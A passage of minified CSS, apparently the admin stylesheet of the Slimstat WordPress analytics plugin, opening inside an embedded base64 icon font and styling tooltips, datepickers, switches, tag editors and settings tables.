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\") format(\"truetype\")}[class^=\"slimstat-font-\"]:before,[class*=\" slimstat-font-\"]:before{color:#616060;font-family:\"slimstat\";font-style:normal;font-weight:normal;font-size:14px;text-decoration:inherit;width:1em;margin:0 0.2em;text-align:center;font-variant:normal;text-transform:none;line-height:1em}.slimstat-font-trash:before{content:\"\\e800\"}.slimstat-font-clock:before{content:\"\\e801\"}.slimstat-font-search:before{content:\"\\e802\"}.slimstat-font-cancel:before{content:\"\";background:url(\"data:image\u002Fsvg+xml,%3Csvg width='10' height='10' viewBox='0 0 10 10' fill='none' xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg'%3E%3Cg clip-path='url(%23clip0_417_931)'%3E%3Cpath d='M5.89353 4.99459L8.95228 1.93609C9.06613 1.81821 9.12912 1.66034 9.1277 1.49646C9.12628 1.33259 9.06055 1.17583 8.94466 1.05995C8.82878 0.944073 8.67203 0.878342 8.50815 0.876918C8.34428 0.875494 8.18641 0.938491 8.06853 1.05234L5.00978 4.11084L1.95128 1.05234C1.89328 0.994263 1.8244 0.94819 1.74858 0.916756C1.67276 0.885321 1.59148 0.869141 1.5094 0.869141C1.42733 0.869141 1.34605 0.885321 1.27023 0.916756C1.19441 0.94819 1.12553 0.994263 1.06753 1.05234C1.00945 1.11034 0.96338 1.17922 0.931945 1.25504C0.90051 1.33086 0.88433 1.41214 0.88433 1.49421C0.88433 1.57629 0.90051 1.65757 0.931945 1.73339C0.96338 1.80921 1.00945 1.87809 1.06753 1.93609L4.12603 4.99459L1.06053 8.06034C0.972939 8.14767 0.913252 8.25904 0.889038 8.38033C0.864824 8.50162 0.877172 8.62737 0.924517 8.74164C0.971862 8.85591 1.05207 8.95354 1.15498 9.02216C1.25788 9.09078 1.37884 9.1273 1.50253 9.12709C1.66253 9.12709 1.82253 9.06609 1.94453 8.94409L5.01003 5.87834L8.06853 8.93684C8.12652 8.99495 8.19542 9.04103 8.27127 9.07244C8.34712 9.10384 8.42843 9.11995 8.51053 9.11984C8.63411 9.11981 8.75491 9.08315 8.85765 9.01449C8.9604 8.94583 9.04049 8.84825 9.08779 8.73408C9.1351 8.61991 9.14749 8.49429 9.12342 8.37308C9.09934 8.25186 9.03987 8.14051 8.95253 8.05309L5.89353 4.99459Z' fill='%23FF3636'\u002F%3E%3C\u002Fg%3E%3Cdefs%3E%3CclipPath id='clip0_417_931'%3E%3Crect width='9' height='9' fill='white' transform='translate(0.509766 0.494141)'\u002F%3E%3C\u002FclipPath%3E%3C\u002Fdefs%3E%3C\u002Fsvg%3E%0A\") no-repeat center center\u002Fcontain;width:12px;height:12px;display:inline-block;transform:translateY(1px)}.slimstat-font-upload:before{content:\"\\e805\"}.slimstat-font-download-cloud:before{content:\"\\e806\"}.slimstat-font-upload-cloud:before{content:\"\\e807\"}.slimstat-font-location-1:before{content:\"\\e808\"}.slimstat-font-arrows-cw-1:before{content:\"\\e809\"}.slimstat-font-login:before{content:\"\\e80a\"}.slimstat-font-logout:before{content:\"\\e80b\"}.slimstat-font-angle-left:before{content:\"\\e80c\"}.slimstat-font-angle-right:before{content:\"\\e80d\"}.slimstat-font-angle-double-left:before{content:\"\\e80e\"}.slimstat-font-angle-double-right:before{content:\"\\e80f\"}.slimstat-font-arrows-cw:before{content:\"\\e810\"}.slimstat-font-doc:before{content:\"\\e811\"}.slimstat-font-spin4:before{content:\"\\e812\";font-size:26px;overflow:hidden;margin:0}.slimstat-font-edit:before{content:\"\\e813\"}.slimstat-font-gauge:before{content:\"\\e814\"}.slimstat-font-stopwatch:before{content:\"\\e815\"}.slimstat-font-docs:before{content:\"\\e816\"}.slimstat-font-user-plus:before{content:\"\\e817\"}.slimstat-font-user-times:before{content:\"\\e818\"}.slimstat-font-minus-circled:before{content:\"\\e819\"}.animate-spin{-moz-animation:spin 3s infinite linear;-o-animation:spin 3s infinite linear;-webkit-animation:spin 3s infinite linear;animation:spin 3s infinite linear;display:inline-block;line-height:1em}@-moz-keyframes spin{0%{-moz-transform:rotate(0deg);-o-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-moz-transform:rotate(359deg);-o-transform:rotate(359deg);-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@-webkit-keyframes spin{0%{-moz-transform:rotate(0deg);-o-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-moz-transform:rotate(359deg);-o-transform:rotate(359deg);-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@-o-keyframes spin{0%{-moz-transform:rotate(0deg);-o-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-moz-transform:rotate(359deg);-o-transform:rotate(359deg);-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@-ms-keyframes spin{0%{-moz-transform:rotate(0deg);-o-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-moz-transform:rotate(359deg);-o-transform:rotate(359deg);-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes spin{0%{-moz-transform:rotate(0deg);-o-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-moz-transform:rotate(359deg);-o-transform:rotate(359deg);-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.qtip{position:absolute;left:-28000px;top:-28000px;display:none;max-width:280px;min-width:50px;font-size:1em;line-height:1.5em;direction:ltr;box-shadow:none;border-radius:5px;padding:0}.qtip-content,.qtip-titlebar{position:relative;overflow:hidden}.qtip-content{padding:5px 9px;text-align:left;word-wrap:break-word}.qtip-titlebar{padding:5px 35px 5px 10px;border-radius:0 0 1px;font-weight:700}.qtip-titlebar+.qtip-content{border-top-width:0 !important}.qtip-close{position:absolute;right:-9px;top:-9px;z-index:11;cursor:pointer;outline:0;border:1px solid transparent}.qtip-titlebar .qtip-close{right:4px;top:50%;margin-top:-9px}* html .qtip-titlebar .qtip-close{top:16px}.qtip-icon .ui-icon,.qtip-titlebar .ui-icon{display:block;text-indent:-1000em;direction:ltr}.qtip-icon,.qtip-icon .ui-icon{-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;text-decoration:none}.qtip-icon .ui-icon{width:18px;height:14px;line-height:1.5em;text-align:center;text-indent:0;font:normal 700 1em Tahoma, sans-serif;color:inherit;background:-100em -100em no-repeat}.qtip-default{background-color:#2b2b2b;font-style:italic;padding-top:12px;padding-right:16px;padding-bottom:12px;padding-left:16px;border-radius:12px;color:#9ba1a6;font-weight:600;font-size:12px;line-height:20px;letter-spacing:0px;font-style:normal;text-decoration:none !important;transform:translateX(9px) translateY(-1px)}.qtip-default strong{color:#fff;font-weight:700;font-size:14px;line-height:20px;letter-spacing:0px;font-style:normal;text-decoration:none !important}.qtip-default .qtip-titlebar{background-color:#ffef93}.qtip-default .qtip-icon{border-color:#ccc;background:#f1f1f1;color:#777}.qtip-default .qtip-titlebar .qtip-close{border-color:#aaa;color:#111}.qtip .qtip-tip{margin:0 auto;overflow:hidden;z-index:10}.qtip .qtip-tip,x:-o-prefocus{visibility:hidden}.qtip .qtip-tip,.qtip .qtip-tip .qtip-vml,.qtip .qtip-tip canvas{position:absolute;color:#2b2b2b !important;background:#2b2b2b !important;border:0 dashed transparent;background-color:#2b2b2b !important;width:12px !important;height:12px !important;transform:rotate(135deg) translateX(0px) translateY(1px);line-height:unset !important;border-top-right-radius:4px;display:inline-block}.qtip .qtip-tip canvas{top:0;left:0;display:none !important}.qtip .qtip-tip .qtip-vml{behavior:url(#default#VML);display:inline-block;visibility:visible}\u002F*! jQuery UI - v1.10.3 | https:\u002F\u002Fjqueryui.com *\u002F#ui-datepicker-div{display:none}.ui-datepicker{background-color:#fff;width:17em;padding:8px;border-radius:8px;box-shadow:5px 0px 40px rgba(0,0,0,0.2);border:none !important;display:none}.ui-datepicker .ui-datepicker-header{position:relative;padding:0.2em 0}.ui-datepicker .ui-datepicker-prev,.ui-datepicker .ui-datepicker-next{position:absolute;top:4px;width:26px;height:26px;cursor:pointer}.ui-datepicker .ui-datepicker-prev:hover,.ui-datepicker .ui-datepicker-next:hover{background-color:white}.ui-datepicker .ui-datepicker-prev span,.ui-datepicker .ui-datepicker-next span{display:block;position:absolute;left:50%;top:50%;transform:translate(-50%, -50%);font-size:15px;font-weight:600;color:#616060;transition:0.3s all ease-out}.ui-datepicker .ui-datepicker-prev span:hover,.ui-datepicker .ui-datepicker-next span:hover{color:#e8294c}.ui-datepicker .ui-datepicker-prev{left:2px}.ui-datepicker .ui-datepicker-next{right:2px}.ui-datepicker .ui-datepicker-title{margin:0 2.3em;line-height:1.8em;text-align:center}.ui-datepicker .ui-datepicker-title select{font-size:1em;margin:1px 0}.ui-datepicker select.ui-datepicker-month-year{width:100%}.ui-datepicker select.ui-datepicker-month,.ui-datepicker select.ui-datepicker-year{width:49%}.ui-datepicker table{width:100%;font-size:0.9em;border-collapse:collapse;margin:0 0 0.4em}.ui-datepicker th{padding:0.7em 0.3em;text-align:center;font-weight:700;border:0}.ui-datepicker td{border:0;padding:1px}.ui-datepicker td span,.ui-datepicker td a{display:block;padding:0.2em;text-align:right;text-decoration:none}.ui-datepicker .ui-datepicker-buttonpane{background-image:none;margin:0.7em 0 0;padding:0 0.2em;border-left:0;border-right:0;border-bottom:0}.ui-datepicker .ui-datepicker-buttonpane button{float:right;margin:0.5em 0.2em 0.4em;cursor:pointer;padding:0.2em 0.6em 0.3em;width:auto;overflow:visible}.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current{float:left}.ui-datepicker.ui-datepicker-multi{width:auto}.ui-datepicker-multi .ui-datepicker-group{float:left}.ui-datepicker-multi .ui-datepicker-group table{width:95%;margin:0 auto 0.4em}.ui-datepicker-multi-2 .ui-datepicker-group{width:50%}.ui-datepicker-multi-3 .ui-datepicker-group{width:33.3%}.ui-datepicker-multi-4 .ui-datepicker-group{width:25%}.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header{border-left-width:0}.ui-datepicker-multi .ui-datepicker-buttonpane{clear:left}.ui-datepicker-row-break{clear:both;width:100%;font-size:0}.ui-datepicker-rtl{direction:rtl}.ui-datepicker-rtl .ui-datepicker-prev{right:2px;left:auto}.ui-datepicker-rtl .ui-datepicker-next{left:2px;right:auto}.ui-datepicker-rtl .ui-datepicker-prev:hover{right:1px;left:auto}.ui-datepicker-rtl .ui-datepicker-next:hover{left:1px;right:auto}.ui-datepicker-rtl .ui-datepicker-buttonpane{clear:right}.ui-datepicker-rtl .ui-datepicker-buttonpane button{float:left}.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,.ui-datepicker-rtl .ui-datepicker-group{float:right}.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header{border-right-width:0;border-left-width:1px}\u002F*! bootstrap-switch - v3.3.4 | https:\u002F\u002Fwww.bootstrap-switch.org *\u002F.bootstrap-switch{display:inline-block;direction:ltr;cursor:pointer;border-radius:4px;border:1px solid #ccc;position:relative;text-align:left;overflow:hidden;line-height:8px;z-index:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;vertical-align:middle;-webkit-transition:border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s;-o-transition:border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s;transition:border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s}.bootstrap-switch .bootstrap-switch-container{display:inline-block;top:0;border-radius:4px;-webkit-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0)}.bootstrap-switch .bootstrap-switch-handle-off,.bootstrap-switch .bootstrap-switch-handle-on,.bootstrap-switch .bootstrap-switch-label{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;cursor:pointer;display:inline-block !important;height:100%;padding:6px 12px;font-size:14px;line-height:20px}.bootstrap-switch .bootstrap-switch-handle-off,.bootstrap-switch .bootstrap-switch-handle-on{text-align:center;z-index:1}.bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-primary,.bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-primary{color:#fff;background:#337ab7}.bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-info,.bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-info{color:#fff;background:#5bc0de}.bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-success,.bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-success{color:#fff;background:#e8294c}.bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-warning,.bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-warning{background:#f0ad4e;color:#fff}.bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-danger,.bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-danger{color:#fff;background:#d9534f}.bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-default,.bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-default{color:#000;background:#eee}.bootstrap-switch .bootstrap-switch-label{text-align:center;margin-top:-1px;margin-bottom:-1px;z-index:100;color:#333;background:#fff}.bootstrap-switch .bootstrap-switch-handle-on{border-bottom-left-radius:3px;border-top-left-radius:3px}.bootstrap-switch .bootstrap-switch-handle-off{border-bottom-right-radius:3px;border-top-right-radius:3px}.bootstrap-switch input[type=\"radio\"],.bootstrap-switch input[type=\"checkbox\"]{position:absolute !important;top:0;left:0;margin:0;z-index:-1;opacity:0 !important;filter:alpha(opacity=0)}.bootstrap-switch.bootstrap-switch-mini .bootstrap-switch-handle-off,.bootstrap-switch.bootstrap-switch-mini .bootstrap-switch-handle-on,.bootstrap-switch.bootstrap-switch-mini .bootstrap-switch-label{padding:1px 5px;font-size:12px;line-height:1.5}.bootstrap-switch.bootstrap-switch-small .bootstrap-switch-handle-off,.bootstrap-switch.bootstrap-switch-small .bootstrap-switch-handle-on,.bootstrap-switch.bootstrap-switch-small .bootstrap-switch-label{padding:5px 10px;font-size:12px;line-height:1.5}.bootstrap-switch.bootstrap-switch-large .bootstrap-switch-handle-off,.bootstrap-switch.bootstrap-switch-large .bootstrap-switch-handle-on,.bootstrap-switch.bootstrap-switch-large .bootstrap-switch-label{padding:6px 16px;font-size:18px;line-height:1.3333333}.bootstrap-switch.bootstrap-switch-disabled,.bootstrap-switch.bootstrap-switch-indeterminate,.bootstrap-switch.bootstrap-switch-readonly{cursor:default !important}.bootstrap-switch.bootstrap-switch-disabled .bootstrap-switch-handle-off,.bootstrap-switch.bootstrap-switch-disabled .bootstrap-switch-handle-on,.bootstrap-switch.bootstrap-switch-disabled .bootstrap-switch-label,.bootstrap-switch.bootstrap-switch-indeterminate .bootstrap-switch-handle-off,.bootstrap-switch.bootstrap-switch-indeterminate .bootstrap-switch-handle-on,.bootstrap-switch.bootstrap-switch-indeterminate .bootstrap-switch-label,.bootstrap-switch.bootstrap-switch-readonly .bootstrap-switch-handle-off,.bootstrap-switch.bootstrap-switch-readonly .bootstrap-switch-handle-on,.bootstrap-switch.bootstrap-switch-readonly .bootstrap-switch-label{opacity:0.5;filter:alpha(opacity=50);cursor:default !important}.bootstrap-switch.bootstrap-switch-animate .bootstrap-switch-container{-webkit-transition:margin-left 0.5s;-o-transition:margin-left 0.5s;transition:margin-left 0.5s}.bootstrap-switch.bootstrap-switch-inverse .bootstrap-switch-handle-on{border-radius:0 3px 3px 0}.bootstrap-switch.bootstrap-switch-inverse .bootstrap-switch-handle-off{border-radius:3px 0 0 3px}.bootstrap-switch.bootstrap-switch-inverse.bootstrap-switch-off .bootstrap-switch-label,.bootstrap-switch.bootstrap-switch-on .bootstrap-switch-label{border-bottom-right-radius:3px;border-top-right-radius:3px}.bootstrap-switch.bootstrap-switch-inverse.bootstrap-switch-on .bootstrap-switch-label,.bootstrap-switch.bootstrap-switch-off .bootstrap-switch-label{border-bottom-left-radius:3px;border-top-left-radius:3px}.tag-editor{list-style-type:none;padding:0 5px 0 0;margin:0;overflow:hidden;border:1px solid #eee;cursor:text;font:normal 14px sans-serif;color:#555;background:#fff;line-height:20px}.tag-editor li{display:block;float:left;overflow:hidden;margin:3px 0}.tag-editor div{float:left;padding:0 4px}.tag-editor .placeholder{padding:0 8px;color:#bbb}.tag-editor .tag-editor-spacer{padding:0;width:8px;overflow:hidden;color:transparent;background:none}.tag-editor input{vertical-align:inherit;border:0;outline:none;padding:0;margin:0;cursor:text;font-family:inherit;font-weight:inherit;font-size:inherit;font-style:inherit;box-shadow:none;background:none;color:#151515}.tag-editor-hidden-src{position:absolute !important;left:-99999px}.tag-editor ::-ms-clear{display:none}.tag-editor .tag-editor-tag{padding-left:5px;color:#46799b;background:#e0eaf1;white-space:nowrap;overflow:hidden;cursor:pointer;border-radius:2px 0 0 2px}.tag-editor .tag-editor-delete{background:#e0eaf1;cursor:pointer;border-radius:0 2px 2px 0;padding-left:3px;padding-right:4px}.tag-editor .tag-editor-delete i{line-height:18px;display:inline-block}.tag-editor .tag-editor-delete i:before{font-size:16px;color:#8ba7ba;content:\"×\";font-style:normal}.tag-editor .tag-editor-delete:hover i:before{color:#d65454}.tag-editor .tag-editor-tag.active+.tag-editor-delete,.tag-editor .tag-editor-tag.active+.tag-editor-delete i{visibility:hidden;cursor:text}.tag-editor .tag-editor-tag.active{background:none !important}.ui-autocomplete{position:absolute;top:0;left:0;cursor:default;font-size:14px}.ui-front{z-index:9999}.ui-menu{list-style:none;padding:1px;margin:0;display:block;outline:none}.ui-menu .ui-menu-item a{text-decoration:none;display:block;padding:2px 0.4em;line-height:1.4;min-height:0}.ui-widget-content{border:1px solid #bbb;background:#fff;color:#555}.ui-widget-content a{color:#46799b}.ui-widget-content .ui-state-hover,.ui-widget-header .ui-state-hover,.ui-state-focus,.ui-widget-content .ui-state-focus,.ui-widget-header .ui-state-focus{background:#e0eaf1}.ui-helper-hidden-accessible{display:none}.backdrop-container{position:relative;background-color:#f5f6fa}@media (min-width: 780px){.backdrop-container{margin-left:-20px;margin-top:-20px;padding-left:20px;padding-top:20px}}.slimstat-filter-link .avatar{border-radius:50px;overflow:hidden;display:inline-block;transform:translateY(3px);margin-right:2px;border:solid 1px #fff}.wrap.slimstat-config,.wrap.slimstat{box-sizing:border-box;overflow:hidden}.wrap.slimstat-config *,.wrap.slimstat *{box-sizing:border-box;text-decoration:none}.wrap.slimstat-config .upgrade-pro-background,.wrap.slimstat .upgrade-pro-background{width:100%}.wrap.slimstat-config select:focus,.wrap.slimstat-config input:focus,.wrap.slimstat-config textarea:focus,.wrap.slimstat select:focus,.wrap.slimstat input:focus,.wrap.slimstat textarea:focus{outline:none;box-shadow:none;border-color:#e8294c !important}.wrap.slimstat-config .button-secondary,.wrap.slimstat .button-secondary{background-color:white;border-radius:50px;border:1px solid #e8294c;color:#e8294c;padding:0px 12px;height:auto}.wrap.slimstat-config .button-primary,.wrap.slimstat .button-primary{background-color:#e8294c;border-radius:50px;border:none;color:white;padding:0px 12px;height:auto}.wrap.slimstat-config #datepicker-backdrop,.wrap.slimstat #datepicker-backdrop{width:100vw;height:100vh;top:0;left:0;position:fixed;z-index:2;display:none}.wrap.slimstat-config #slimstat-date-filters a.slimstat-filter-link,.wrap.slimstat #slimstat-date-filters a.slimstat-filter-link{background-color:#f8f8f8;display:block;float:left;margin:0 5px 5px 0;padding:7px 5px;width:123px;border-radius:50px;text-align:center;color:#151515;transition:0.3s all ease-out}.wrap.slimstat-config #slimstat-date-filters a.slimstat-filter-link:hover,.wrap.slimstat #slimstat-date-filters a.slimstat-filter-link:hover{background-color:#f3f3f3}.wrap.slimstat-config #slimstat-date-filters input,.wrap.slimstat-config #slimstat-date-filters select,.wrap.slimstat #slimstat-date-filters input,.wrap.slimstat #slimstat-date-filters select{border:2px solid #f3f3f3;border-radius:50px}.wrap.slimstat-config #slimstat-date-filters input[type=\"submit\"],.wrap.slimstat #slimstat-date-filters input[type=\"submit\"]{background-color:#e8294c;border:none;border-radius:50px;transition:0.3s all ease-out}.wrap.slimstat-config #slimstat-date-filters input[type=\"submit\"]:hover,.wrap.slimstat #slimstat-date-filters input[type=\"submit\"]:hover{background-color:black}.wrap.slimstat-config .button-primary.slimstat-settings-button,.wrap.slimstat .button-primary.slimstat-settings-button{background-color:#e8294c;color:white;border-radius:50px;border:none;transition:0.3s all ease-out;padding-left:12px;padding-right:12px}.wrap.slimstat-config .button-primary.slimstat-settings-button:hover,.wrap.slimstat .button-primary.slimstat-settings-button:hover{background-color:black}.wrap.slimstat-config h2,.wrap.slimstat h2{color:black;font-weight:600;font-size:24px}.wrap.slimstat-config .nav-tabs,.wrap.slimstat .nav-tabs{display:flex;background-color:white;border-radius:5px;overflow-y:hidden}.wrap.slimstat-config .nav-tabs .nav-tab,.wrap.slimstat .nav-tabs .nav-tab{transition:0.3s all ease-out;border:none;background-color:transparent;padding:0}.wrap.slimstat-config .nav-tabs .nav-tab a,.wrap.slimstat .nav-tabs .nav-tab a{color:#151515;font-size:14px;padding:15px 15px}.wrap.slimstat-config .nav-tabs .nav-tab a:focus,.wrap.slimstat .nav-tabs .nav-tab a:focus{outline:none;box-shadow:none}.wrap.slimstat-config .nav-tabs .nav-tab a:hover,.wrap.slimstat .nav-tabs .nav-tab a:hover{color:#e8294c}.wrap.slimstat-config .nav-tabs .nav-tab.nav-tab-active,.wrap.slimstat .nav-tabs .nav-tab.nav-tab-active{border-bottom:5px solid #e8294c}.wrap.slimstat-config .nav-tabs .nav-tab.nav-tab-active a,.wrap.slimstat .nav-tabs .nav-tab.nav-tab-active a{color:#e8294c}@media (max-width: 900px){.wrap.slimstat-config .nav-tabs,.wrap.slimstat .nav-tabs{overflow-x:scroll}}.wrap.slimstat-config .form-table,.wrap.slimstat .form-table{border:none;margin-top:25px;border-radius:10px}.wrap.slimstat-config .form-table tr,.wrap.slimstat .form-table tr{border-bottom:1px solid #eee}.wrap.slimstat-config .form-table tr:first-of-type .slimstat-options-section-header,.wrap.slimstat .form-table tr:first-of-type .slimstat-options-section-header{border-radius:10px 10px 0 0}.wrap.slimstat-config .form-table tr.alternate,.wrap.slimstat .form-table tr.alternate{background-color:white}.wrap.slimstat-config .form-table tr th,.wrap.slimstat .form-table tr th{padding:25px 20px;color:#151515}.wrap.slimstat-config .form-table tr td,.wrap.slimstat .form-table tr td{padding:25px 20px;color:#151515}.wrap.slimstat-config .form-table tr td input,.wrap.slimstat .form-table tr td input{border:2px solid #f3f3f3;border-radius:50px}.wrap.slimstat-config .form-table tr td textarea,.wrap.slimstat .form-table tr td textarea{border:2px solid #f3f3f3;border-radius:10px}.wrap.slimstat-config .form-table tr td select,.wrap.slimstat .form-table tr td select{border:2px solid #f3f3f3;border-radius:50px}.wrap.slimstat-config .form-table tr td .button-primary,.wrap.slimstat .form-table tr td .button-primary{border:1px solid #e8294c;color:#e8294c;background-color:white;border-radius:50px}.wrap.slimstat-config .form-table tr td .tag-editor,.wrap.slimstat .form-table tr td .tag-editor{border-radius:6px;padding:6px 4px}.wrap.slimstat-config .form-table tr td .tag-editor .tag-editor-tag,.wrap.slimstat .form-table tr td .tag-editor .tag-editor-tag{color:#e8294c;background-color:#fff4f5}.wrap.slimstat-config .form-table tr td .tag-editor .tag-editor-delete,.wrap.slimstat .form-table tr td .tag-editor .tag-editor-delete{color:#e8294c;background-color:#fff4f5}.wrap.slimstat-config .form-table tr td .tag-editor .tag-editor-delete i::before,.wrap.slimstat .form-table tr 